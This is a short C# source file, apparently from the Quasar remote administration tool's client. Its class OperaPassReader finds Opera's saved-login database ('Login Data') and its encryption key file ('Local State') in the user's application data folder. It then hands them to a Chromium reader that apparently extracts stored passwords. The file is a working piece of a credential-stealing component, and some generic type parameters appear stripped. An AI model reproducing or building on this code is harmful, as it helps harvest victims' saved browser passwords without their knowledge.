using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;
namespace Quasar.Client.Recovery.Browsers
{
public class OperaPassReader : ChromiumBase
{
///
public override string ApplicationName => "Opera";
///
public override IEnumerable ReadAccounts()
{
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera Stable\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera Stable\\Local State");
return ReadAccounts(filePath, localStatePath);
}
catch (Exception)
{
return new List();
}
}
}
}